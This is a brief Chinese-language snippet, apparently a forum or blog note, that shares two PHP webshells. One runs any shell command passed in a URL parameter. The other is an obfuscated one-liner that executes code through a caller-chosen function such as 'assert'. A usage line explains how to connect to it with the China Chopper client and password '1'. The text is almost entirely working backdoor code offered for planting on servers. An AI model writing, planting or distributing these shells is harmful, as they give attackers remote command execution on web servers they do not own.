极品php小马
https://lcx.cc/?FoxNews=2279.html
https://hi.baidu.com/myvbscript/blog/item/ebfb9a8226ca238cf703a6b1.html
<?php
//t.php$test = $_GET['r'];
echo `$test`;
?>
https://127.0.0.1/t.php?r=dir
=============================================
<?=($_=@$_GET[2]).@$_($_GET[1])?>
在菜刀连接里写 https://127.0.0.1/1.php?2=assert 密码是1